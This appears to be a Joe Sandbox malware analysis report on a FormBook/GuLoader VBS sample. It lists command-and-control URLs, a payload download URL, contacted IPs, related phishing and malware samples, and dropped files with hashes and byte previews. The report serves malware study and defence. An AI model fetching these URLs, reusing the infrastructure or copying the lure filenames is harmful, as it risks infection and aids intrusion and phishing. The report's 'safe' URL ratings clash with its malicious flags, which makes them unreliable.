http://www.cannulafactory.top/y82c/?wXB=brv4Erb&ij60MtY=sLiZbFdk0bb3LADauL00iEPz4ezLfDKRfqlDl/6kvE4DPkuqbR8aqfEySQ7vKfLRZ5tGFHhzrS3SF8murk9fEOV453YSzWktCGZAKUV3HiBT9SXvdO/vw9M=	true	Avira URL Cloud: safe	unknown
http://www.asa-malukuutara.com/21hf/?ij60MtY=p1NLRLDpZ3jtk0f1dDjC0GqGJiZBNtu8Mrwl5djJtNb21C4BFG2Hr75FPHHV9wORgBrIYOW3JrKZkRWCMOhawA9p/CCB70kTn7w94dWnlsSq4AnfR/ra/5E=&wXB=brv4Erb	true	Avira URL Cloud: safe	unknown
http://www.home-check.shop/ns8q/?ij60MtY=Inf42ZVLRw6HwISCOPUKL9E43+GpX4bkPpg82teOxrbDSww0PzIRQy8gHWXiaO2t1uZOdy10GUfR4hRxDB6Ts5zJpETBxtnbe//OQKeepMDnU8nxUbj7e0s=&tvodg=2Zld-RLxEfN	true	Avira URL Cloud: safe	unknown
http://www.foundation-repair.biz/enra/	true	Avira URL Cloud: safe	unknown
http://www.ayypromo.shop/mktg/?ij60MtY=0TalvP/u8kBxCEcVC8ZYLDfWzg1d8ZMLdJUcZNeUjcCfUnJGBGp8dbleblgtUVXijVAfatBw5nkrSCpMHneIWtcqoMWdglrJlT3qBoY6Uu70toyjn3om774=&wXB=brv4Erb	true	Avira URL Cloud: safe	unknown
http://www.meetfactory.biz/o0e7/?ij60MtY=xHuhihA5a0RCQDr7UqpawT1cYL9BOqgbdgZ3/38wD7lrSrU6llHUt19Sg65W4AIkiHRz640OtFHlOrepbmqCRMN0Rn3a8HvHNm6R1WOOyMUaxc5SdqEBk4o=&wXB=brv4Erb	true	Avira URL Cloud: safe	unknown
http://www.cachsoicautdtc.best/fp5q/?ij60MtY=hTm9ypMPCvkZHpXOUIowtI5N2+z4niygtjCFVe/8mioZPRfz5TFJ3IewZaR+NPU03UUaFdubUQ2FIRqoOOixztWDEcr2XGgHHm20+kxsPtJkRiaVsamec0k=&wXB=brv4Erb	true	Avira URL Cloud: safe	unknown
http://www.518729.xyz/s1mg/?ij60MtY=2QViuhW/NYaw5nxi+F1oVZq46szrrR71oUxOni/Qn+PFEj/1SakqFOMu9uwTuSiQaklPQGQrKMR1DX8jJ/FrQ8LNcsmQ9XMkBTdB/FoVvRnsRxC4QNxtOLg=&wXB=brv4Erb	true	Avira URL Cloud: safe	unknown
http://www.7ddw.top/pcjw/?ij60MtY=Irl6roAKlXX+S/z4d/JGSgOFtgPcZWv0Ad/WGuEavtEpunmIUZ/WLqk+3ThtGR85672FVpbJ7guSoPSbpRkmFzROuSw6a7kz1v/qj+IPw73pHtOII/dFP3E=&wXB=brv4Erb	true	Avira URL Cloud: safe	unknown
http://www.emeluzunmoda.online/c0kl/	true	Avira URL Cloud: safe	unknown
http://www.518729.xyz/s1mg/	true	Avira URL Cloud: safe	unknown
http://www.home-check.shop/ns8q/?wXB=brv4Erb&ij60MtY=Inf42ZVLRw6HwISCOPUKL9E43+GpX4bkPpg82teOxrbDSww0PzIRQy8gHWXiaO2t1uZOdy10GUfR4hRxDB6Ts5zJpETBxtnbe//OQKeepMDnU8nxUbj7e0s=	true	Avira URL Cloud: safe	unknown
http://www.bullbord.top/veti/	true	Avira URL Cloud: safe	unknown
http://www.asa-malukuutara.com/21hf/	true	Avira URL Cloud: safe	unknown
http://www.home-check.shop/ns8q/	true	Avira URL Cloud: safe	unknown
http://www.meetfactory.biz/o0e7/	true	Avira URL Cloud: safe	unknown
http://www.itemfilterhub.shop/p1v4/	true	Avira URL Cloud: safe	unknown
http://www.bullbord.top/veti/?ij60MtY=CTwFRHkEL7GCscIqZBh2ghsqK7sG3QtVuFrIQG0IMtDLIws7wIuLhg5F5RICghophROLKQKALEwFGf2MtTv3MXBKvDNA89h+ifbsdhYGPDKJkkgMD8vmo5o=&wXB=brv4Erb	true	Avira URL Cloud: safe	unknown
http://www.7ddw.top/pcjw/	true	Avira URL Cloud: safe	unknown
https://www.groupriam.com/EiopsiA213.bin	false	Avira URL Cloud: safe	unknown
http://www.cachsoicautdtc.best/fp5q/	true	Avira URL Cloud: safe	unknown
http://www.magicface.shop/gir9/?ij60MtY=f5fgxEQYyH9aCEvnqRNhj/uGI07axwFwhdkCg+bZ+BEtnM1/7SlBYCrjg9utQFPLrd0Y68zwkqIMf6pHdwjKMQmtDey6vcSJt3zCtqxSD+6F6gKu0jTr2I8=&wXB=brv4Erb	true	Avira URL Cloud: safe	unknown
http://www.magicface.shop/gir9/	true	Avira URL Cloud: safe	unknown
http://www.emeluzunmoda.online/c0kl/?wXB=brv4Erb&ij60MtY=AxZR1MxN1yP04/KkfJjqNmRSK4d8g2rgChYpgYbN8LwS/ds0321h0MeEKpKCay63h/JFzZR/nOfV69IulQUTnqrvqwrwGbRyvD357dhiEinhnUxdss5AyLg=	true	Avira URL Cloud: safe	unknown
http://www.foundation-repair.biz/enra/?ij60MtY=EuJScojaXV9tkcwMAt8AIq1Fa6SjC3UOd2jPPlI8uN15nuMsourZ6RQE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzQxVxe8Bdx85A43xT3KZq/wlYnQ9EpMMmNcQ=&wXB=brv4Erb	true	Avira URL Cloud: safe	unknown
http://www.ayypromo.shop/mktg/	true	Avira URL Cloud: safe	unknown
http://www.cannulafactory.top/y82c/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nsis.sf.net/NSIS_Error	x.exe	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.230.15.3	www.home-check.shop	Germany	42487	VIALIS-MOSELLELocatedinMetzFranceFR	true
176.57.64.102	www.ayypromo.shop	Bosnia and Herzegowina	47959	TELINEABA	true
199.103.62.205	groupriam.com	Canada	36218	CIRRUSTECHLTDCA	false
18.183.3.45	www.cannulafactory.top	United States	16509	AMAZON-02US	true
76.223.54.146	www.magicface.shop	United States	16509	AMAZON-02US	true
23.231.158.3	www.518729.xyz	United States	20248	TAKE2US	true
199.59.243.226	www.foundation-repair.biz	United States	395082	BODIS-NJUS	true
103.247.8.53	asa-malukuutara.com	Indonesia	58487	RUMAHWEB-AS-IDRumahwebIndonesiaCVID	true
154.23.184.207	7ddw.top	United States	174	COGENT-174US	true
85.159.66.93	natroredirect.natrocdn.com	Turkey	34619	CIZGITR	true
96.126.123.244	www.meetfactory.biz	United States	63949	LINODE-APLinodeLLCUS	true
172.67.191.241	www.cachsoicautdtc.best	United States	13335	CLOUDFLARENETUS	true
203.161.46.205	www.bullbord.top	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
172.67.166.145	www.itemfilterhub.shop	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1499548
Start date and time:	2024-08-27 07:54:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 18m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winVBS@9/9@19/14
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 87% Number of executed functions: 102 Number of non-executed functions: 310
Cookbook Comments:	Found application associated with file extension: .vbs Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Execution Graph export aborted for target kCwueywDTS.exe, PID 7976 because it is empty
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:58:24	API Interceptor	30690458x Sleep call for process: cmdkey.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.230.15.3	PI#220824.exe	Get hash	malicious	FormBook	Browse	www.home-check.shop/bnkv/
	PI #9100679047.exe	Get hash	malicious	FormBook	Browse	www.home-check.shop/bnkv/?gLc=/5QgBjN+yJdAzvcZCt4eP8i3DnJK5XNl3uzWmgM8d8MC5ZQTws0uiDggHIyw4qbfmIcCQ3LYRcUh0wEwo4kfyNMgeeSg6Nykxx6TeT0vJ0XBmefyUlVmHAw=&6fQ=evG0
	Shipping Documents.exe	Get hash	malicious	FormBook	Browse	www.home-check.shop/bnkv/
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.home-check.shop/ns8q/
	BL6387457290.exe	Get hash	malicious	FormBook	Browse	www.home-check.shop/bnkv/
	Shipment Files EG240711& EG240712.exe	Get hash	malicious	FormBook	Browse	www.home-check.shop/bnkv/
176.57.64.102	031215-Revised-01.exe	Get hash	malicious	FormBook	Browse	www.ayypromo.shop/rgqx/
	Copy of 01. Bill of Material - 705.exe	Get hash	malicious	FormBook	Browse	www.ayypromo.shop/rgqx/
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.ayypromo.shop/mktg/
	TNT Express Arrival Notice AWB 8013580 1182023_PDF_.exe	Get hash	malicious	FormBook	Browse	www.ayypromo.shop/6ocx/
199.103.62.205	Anfrage f#U00fcr ein Angebot - Musterkatalog.vbs	Get hash	malicious	FormBook, GuLoader	Browse
199.103.62.205	47#U0627.vbs	Get hash	malicious	FormBook, GuLoader	Browse
18.183.3.45	031215-Revised-01.exe	Get hash	malicious	FormBook	Browse	www.cannulafactory.top/l90v/
	Copy of 01. Bill of Material - 705.exe	Get hash	malicious	FormBook	Browse	www.cannulafactory.top/l90v/
	RCZ-PI-4057.exe	Get hash	malicious	FormBook	Browse	www.cannulafactory.top/l90v/
	APS-0240226.exe	Get hash	malicious	FormBook	Browse	www.cannulafactory.top/l90v/
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.cannulafactory.top/y82c/
76.223.54.146	eqqjbbjMlt.elf	Get hash	malicious	Unknown	Browse	seedslinger.com/
	DHL Receipt_AWB#20240079104.exe	Get hash	malicious	FormBook	Browse	www.cyclope.us/ihwe/?3Xd=mTJJEVG0F8jFAtwU7sWFzHnY2qdbwq8bIjLbd/2BgPl3ej9dAajyohM4CFOoEo0iSeZJ1vy9jXjIFITPu/LcHKLhmuYSqduohLM0hC1HuoYJVWtnxk93XAg=&Cdl=szJ4
	kuxTSQA74q.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.promoplace.online/m9so/
	V7NfU9XOI3.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.promoplace.online/m9so/
	E-dekont.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.theretroempire.com/my26/?pTAl=3CSdZgWd8xkK9u7lXUUacLi0ACnw9R7lUg1eP2pCg85c/BeOqaozbHw2CEGF77Kuky4+&z0=VhCtQhupL678shG0
	E-dekont.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.theretroempire.com/my26/?6lo8sx=KtF83LWPF&_fvPp=3CSdZgWd8xkK9u7lXUUacLi0ACnw9R7lUg1eP2pCg85c/BeOqaozbHw2CEGF77Kuky4+
	E-dekont.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.theretroempire.com/my26/?_Vi=3CSdZgWd8xkK9u7lXUUacLi0ACnw9R7lUg1eP2pCg85c/BeOqaozbHw2CEGF77Kuky4+&bthXXP=tZhp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.itemfilterhub.shop	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.21.50.202
www.bullbord.top	Request for Quotation + sample catalog.vbs	Get hash	malicious	FormBook	Browse	203.161.46.205
www.bullbord.top	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	203.161.46.205
www.magicface.shop	PI#220824.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	PI #9100679047.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Shipping Documents.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	13.248.169.48
	Mac Purchase Order PO102935.xls	Get hash	malicious	FormBook	Browse	76.223.54.146
www.meetfactory.biz	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	96.126.123.244
www.meetfactory.biz	TNT Express Arrival Notice AWB 8013580 1182023_PDF_.exe	Get hash	malicious	FormBook	Browse	45.33.30.197
www.ayypromo.shop	031215-Revised-01.exe	Get hash	malicious	FormBook	Browse	176.57.64.102
	Copy of 01. Bill of Material - 705.exe	Get hash	malicious	FormBook	Browse	176.57.64.102
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	176.57.64.102
	TNT Express Arrival Notice AWB 8013580 1182023_PDF_.exe	Get hash	malicious	FormBook	Browse	176.57.64.102
www.home-check.shop	PI#220824.exe	Get hash	malicious	FormBook	Browse	185.230.15.3
	PI #9100679047.exe	Get hash	malicious	FormBook	Browse	185.230.15.3
	Shipping Documents.exe	Get hash	malicious	FormBook	Browse	185.230.15.3
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	185.230.15.3
	BL6387457290.exe	Get hash	malicious	FormBook	Browse	185.230.15.3
	Shipment Files EG240711& EG240712.exe	Get hash	malicious	FormBook	Browse	185.230.15.3
www.hypepgbet.online	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	82.112.244.92
www.cannulafactory.top	031215-Revised-01.exe	Get hash	malicious	FormBook	Browse	18.183.3.45
	Copy of 01. Bill of Material - 705.exe	Get hash	malicious	FormBook	Browse	18.183.3.45
	RCZ-PI-4057.exe	Get hash	malicious	FormBook	Browse	18.183.3.45
	APS-0240226.exe	Get hash	malicious	FormBook	Browse	18.183.3.45
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	18.183.3.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CIRRUSTECHLTDCA	Anfrage f#U00fcr ein Angebot - Musterkatalog.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.103.62.205
	47#U0627.vbs	Get hash	malicious	FormBook, GuLoader	Browse	199.103.62.205
	g5oo6DQ4pd.exe	Get hash	malicious	Unknown	Browse	208.69.57.105
	OQchDohurA.exe	Get hash	malicious	Raccoon SmokeLoader	Browse	192.228.108.27
VIALIS-MOSELLELocatedinMetzFranceFR	PI#220824.exe	Get hash	malicious	FormBook	Browse	185.230.15.3
	PI #9100679047.exe	Get hash	malicious	FormBook	Browse	185.230.15.3
	Shipping Documents.exe	Get hash	malicious	FormBook	Browse	185.230.15.3
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	185.230.15.3
	BL6387457290.exe	Get hash	malicious	FormBook	Browse	185.230.15.3
	Shipment Files EG240711& EG240712.exe	Get hash	malicious	FormBook	Browse	185.230.15.3
	botx.mips.elf	Get hash	malicious	Mirai	Browse	85.95.220.118
	5No3fHe5eO.elf	Get hash	malicious	Mirai	Browse	85.95.220.115
	5fKXb0QE05.elf	Get hash	malicious	Mirai	Browse	89.28.148.110
	GaReqLie1f	Get hash	malicious	Mirai	Browse	89.28.148.100
TELINEABA	031215-Revised-01.exe	Get hash	malicious	FormBook	Browse	176.57.64.102
	Copy of 01. Bill of Material - 705.exe	Get hash	malicious	FormBook	Browse	176.57.64.102
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	176.57.64.102
	TNT Express Arrival Notice AWB 8013580 1182023_PDF_.exe	Get hash	malicious	FormBook	Browse	176.57.64.102
	sKQrQ9KjPJ.elf	Get hash	malicious	Mirai	Browse	88.214.61.219
	KE4cyjDEDO.elf	Get hash	malicious	Mirai	Browse	88.214.61.224
	http://91.223.169.83	Get hash	malicious	Unknown	Browse	91.223.169.83
	2hUhvRdIqt.elf	Get hash	malicious	Mirai	Browse	88.214.61.255
	PkQB1rE5kK.elf	Get hash	malicious	Mirai	Browse	88.214.61.240
	mUZS5TqzCm.elf	Get hash	malicious	Mirai	Browse	45.93.94.133
AMAZON-02US	LinhasSumarizadas_2022067095.ppam	Get hash	malicious	RevengeRAT	Browse	18.228.165.84
	OmnibeesReservas_2022067095.ppam	Get hash	malicious	RevengeRAT	Browse	18.228.165.84
	https://messaging-security.comano.us/XdEtiQ3I4emJ5ZldQUWF3SmcwOEQ4cURsb24rSWYyY2loVzV5bktYMlpLSlVxalNnL1RabENaQmozTzkvS3FhK1Z5ZTJDZHlNa1VGbnJDL1g3ZHBLdXdYNUJJbXVhckp5RmFuam41SWhoR0tQUTVWSmNSeEdVdXp3ZmV3eksreWs4dlFnVTBqZG8xUDdFZU9sN1JGZUNtUGdHQnZsVVJLRHREbFNUQm54UWtMa3dmdFNwVENxQTRLaFh3PT0tLUd4TXFReTErSUVBOTZZdDQtLWFZbmE1c254RWIwVWNyTkhyVHN0TUE9PQ==?cid=2140479915	Get hash	malicious	Unknown	Browse	52.217.205.32
	LinhasSumarizadas_2022067095.ppam	Get hash	malicious	RevengeRAT	Browse	18.228.165.84
	http://constructivesoftware.com.au	Get hash	malicious	Unknown	Browse	13.35.58.117
	SALARY OF AUG 2024.exe	Get hash	malicious	FormBook	Browse	13.248.243.5
	https://buy-korea-online-f85b.vercel.app/?web=seunghun.lee@hdel.co.kr	Get hash	malicious	Unknown	Browse	76.76.21.93
	https://odyqreazchfhphegqov.medtourindia.ru:8443/impact?impact=reachus	Get hash	malicious	HTMLPhisher	Browse	13.35.58.31
	https://terms--policies.vercel.app/	Get hash	malicious	Unknown	Browse	76.76.21.93
	https://yoge0104.github.io/Yoge0104	Get hash	malicious	HTMLPhisher	Browse	46.137.27.48

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	199.103.62.205
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	199.103.62.205
	tsnsd8pOvn.exe	Get hash	malicious	Babuk, Djvu	Browse	199.103.62.205
	xnxx.exe	Get hash	malicious	Unknown	Browse	199.103.62.205
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	199.103.62.205
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	199.103.62.205
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	199.103.62.205
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	199.103.62.205
	4d847.msi	Get hash	malicious	Unknown	Browse	199.103.62.205
	danf082024xml.msi	Get hash	malicious	Unknown	Browse	199.103.62.205

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsb9D0E.tmp\System.dll	Anfrage f#U00fcr ein Angebot - Musterkatalog.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	Anfrage f#U00fcr ein Angebot - Musterkatalog.vbs	Get hash	malicious	GuLoader	Browse
	Quote - QUO0000_06272024.exe	Get hash	malicious	GuLoader	Browse
	Purchase Order06272024.exe	Get hash	malicious	GuLoader	Browse
	Purchase Order2883.exe	Get hash	malicious	GuLoader	Browse
	Quote - QUO0000_06272024.exe	Get hash	malicious	GuLoader	Browse
	Purchase Order2883.exe	Get hash	malicious	GuLoader	Browse
	Purchase Order06272024.exe	Get hash	malicious	GuLoader	Browse
	Sinchrones_000965_MEC_10.08.23pdf.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\45-0FIUV

Process:	C:\Windows\SysWOW64\cmdkey.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	1.1414673161713362
Encrypted:	false
SSDEEP:	192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6:8t4n/9p/39J6hwNKRmqu+7VusE
MD5:	24937DB267D854F3EF5453E2E54EA21B
SHA1:	F519A77A669D9F706D5D537A203B7245368D40CE
SHA-256:	369B8B4465FB5FD7F12258C7DEA941F9CCA9A90C78EE195DF5E02028686869ED
SHA-512:	AED398C6781300E732105E541A6FDD762F04E0EC5A5893762BFDCBDD442348FAF9CB2711EFDC4808D4675A8E48F77BEAB3A0D6BC635B778D47B2DADC9B6086A3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsb9D0E.tmp\System.dll

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	6.021689811183493
Encrypted:	false
SSDEEP:	192:S9rQDenC9VrcK7REgSWOprANupQYLRszDDH/d9CWlXo7U6Wxf:SJQEaVAK7R9SfpjpQYLRszfH/d9CWB1j
MD5:	8508FA0AB17E36E071687243283C2AEF
SHA1:	D45391D0454FBB9EB66FA72ECF0E2CADF0522BFE
SHA-256:	90F3CEBB5B3759EB1BD72CEE7CD8B694440EE398FE970B763DB7A7B67208E4C8
SHA-512:	241CF26E57006402897D8ADAFF37F3006C1BDBB09D6C5D10C32D556996DF5785DC81C35CCBBC74384F80853A3E4AEA7BE251A4FA2613BE42108E11A00692DF5A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Anfrage f#U00fcr ein Angebot - Musterkatalog.vbs, Detection: malicious, Browse Filename: Anfrage f#U00fcr ein Angebot - Musterkatalog.vbs, Detection: malicious, Browse Filename: Quote - QUO0000_06272024.exe, Detection: malicious, Browse Filename: Purchase Order06272024.exe, Detection: malicious, Browse Filename: Purchase Order2883.exe, Detection: malicious, Browse Filename: Quote - QUO0000_06272024.exe, Detection: malicious, Browse Filename: Purchase Order2883.exe, Detection: malicious, Browse Filename: Purchase Order06272024.exe, Detection: malicious, Browse Filename: Sinchrones_000965_MEC_10.08.23pdf.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........@t..!...!...!...T...!...Y...!...!...!...T...!...T...!...T...!...T...!..Rich.!..........................PE..L...s..d.........."!....."...................@...............................p............@..........................@.......A..P............................`.......................................................@..X............................text...+!.......".................. ..`.rdata.......@.......&..............@..@.data...D....P.......*..............@....reloc.......`.......,..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\x.exe

Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	757008
Entropy (8bit):	7.643379129614274
Encrypted:	false
SSDEEP:	12288:5ZCgwRmWooxcQTjJ/xBnzIokc1G0mRRNqfivjcha2RDIkLsQVl:5LfhHAd/5bWRNqftLsWl
MD5:	36EFC401E52E98CD1C735D8A767A1E6D
SHA1:	3CF04490CAF786A71855B16F9D9C9DC07C64455D
SHA-256:	A4F48C60654A5880B88AFC9DC898B52EC61DDEB733207E410F3748287C892508
SHA-512:	35B83DC4F672BA7114BE63BDB097F56677579B647AA88BF121F910F633F395568E231079433E3C5010BB9F88567B30B15C70F2B36FF00F759866E5E69D83A9EB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>..}P.}P.}P...T.}P...V.}P...Q.}P.}Q..}P.X.T.}P.X...}P.X.R.}P.Rich.}P.................PE..L......d.................j....9......4............@..........................`@......k....@.................................p........P<..............y.. ............................................................................................text...vh.......j.................. ..`.rdata..t............n..............@..@.data...@.9.........................@....ndata... ...0:..........................rsrc........P<.....................@..@........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\zamindari\Millenarian233\Fugtens.Gri

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	457666
Entropy (8bit):	2.6428606515524327
Encrypted:	false
SSDEEP:	1536:9qm6LBR/NUjWBj3RK1JRURUPkBjRIJTb1r1FE5vtXADKc2EfyjrSWPR4Gk5lcR8l:oFtw1I++5Ae02E2VYX7DkZdBS1DE2Z
MD5:	4A8B957C3A18FD46611553D2A04E0404
SHA1:	F12221D0392D65C8ED3BB8EDEFE3C8113FB1B125
SHA-256:	48C3C2AF70B880C6949EB6E2B00947922492D469D98BD71EFCAA24B516766CCA
SHA-512:	4F90312608E93CA18BB9E88EA887F8E2B2005EA0FE97FEF679D589543F9AD1C33EC2ACDB5843455B63B197CD96250DCF9CAA12DE09C2216D2D82924F92E5152B
Malicious:	false
Preview:	002E00EC000000414100C100E00073005B00001C00004C4C00000000888800E5E5E500000013008D000000007E7E7E000E0E003030002D000000B000D40094940000C100BB00FD0000B5B50061000000000000DCDC0000FEFEFEFE0000005B0000ADAD0042003B3B0083830044444400000000DC000A0A0A0A000000008A8A000000AA00D400000000000000000B00B100D900001111000909000000EC000049000042001D1D1D004200545400005A5A00C5C5003A00D0D0D0D0006262000000B800002525000000999900000000400000070707000000350028282800F9F9000000A40000F8F8000000676767676700B1B10000DDDD000000000000900000D2002900000000001500230000C800000000000000005E001E00006F0000003535353500A9007A7A0000000000000B0000009F9F000000CA006600C400000000000000000000E0E0E0E00000B3B300000000B100DEDEDE009300001515001A0030303000A0000000190093007C7C00606060606000000099999999001B00190000EEEE0000BD0000190000001F1F1F1F1F0000EB00007C0000FBFBFBFBFB00000000B0B000001B1B1B00000000A000D70000272727000A0022222222222200FDFDFDFD0000000000C5C5C5C50000EDED00C5C5C500009F9F9F9F005E0082828200350000610000AC00000031000000006464646464

C:\Users\user\AppData\Local\Temp\zamindari\Millenarian233\Heteromastigote\albuquerque.jer

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	data
Category:	dropped
Size (bytes):	335249
Entropy (8bit):	1.2457536185033387
Encrypted:	false
SSDEEP:	768:z7X3OpuJLln4NHehXm71SCUVbrqAIMv+2/b4V2P3u3WK7N8Bf3OK25EJVKkDhzCF:/KtvU3Q+WaYCvzP/T308dU9Jt
MD5:	301C0542B3A4F12751237E7D66AB87E7
SHA1:	22047C1DF9DBBCD9629B38893FA7294C0956914D
SHA-256:	A3564ECFD5EE16655709BA738EA111285494A4950A40B5E9DF6C3F7853EEDC7F
SHA-512:	BE76B52F6901BB470C3F562F33B72C5883AADE81ABD6658BDF6E569969617195CB736AF1842890058421BB273C51A72683F14E77D15D0EDBDFC119AC41EA39B9
Malicious:	false
Preview:	.......................................Y.........O........Z.................................."...................................G..................................................................z................K...........,.....<.8................................../....................................................................................A...9......................`...................#............J.........u........................................................S........Fy.....2........................................................................................................P...........Pp...._..........O....a.......................;...F........................................."......................B..........n..?....................\|...................................2.............b........M.................................H...........[........^..U.......e..........P........................`.............r............................................................

C:\Users\user\AppData\Local\Temp\zamindari\Millenarian233\Heteromastigote\alpasotes.fly

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	data
Category:	dropped
Size (bytes):	314428
Entropy (8bit):	1.2438484306136453
Encrypted:	false
SSDEEP:	768:dCKtpgJr83BA79OLaRtFEA5cd2XMTPo2C1hNM5/Vvtdh4uwPYCP8LUS9tp9hd4aH:dZiSUi/ore/T4jSjjWacNg1llIx3f09
MD5:	E5E18855ACC6A11A45D0D13A2BC6CDB6
SHA1:	8B54E9570E511A1049704CCCAC783B5D75379CED
SHA-256:	FACDDD60C2D25AE9B18FB1FE559ECFB027F4F5D0779C1687ED7BD715E290A8D0
SHA-512:	9A4DE5B8654A0F1F1655341BC1B4206D04F5A8CC48A837020AE2B14414BD39D4D84E52DDD4E4554A4B51AE2ABCBAA3B74327DA25F15C5A1E87547209E5C2A223
Malicious:	false
Preview:	...................V...w.......................................K...................................<.....................................................^..P..................................S................................................................._...q...............................E............................N.,..............................................q..................................................;........&.......................................................................D...................................*..............................................)...V...........................................l...............d......................................................................................................T..................................................N.....K...................Q................................o.........W...................z................................................$.........................................................

C:\Users\user\AppData\Local\Temp\zamindari\Millenarian233\Heteromastigote\mourids.txt

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
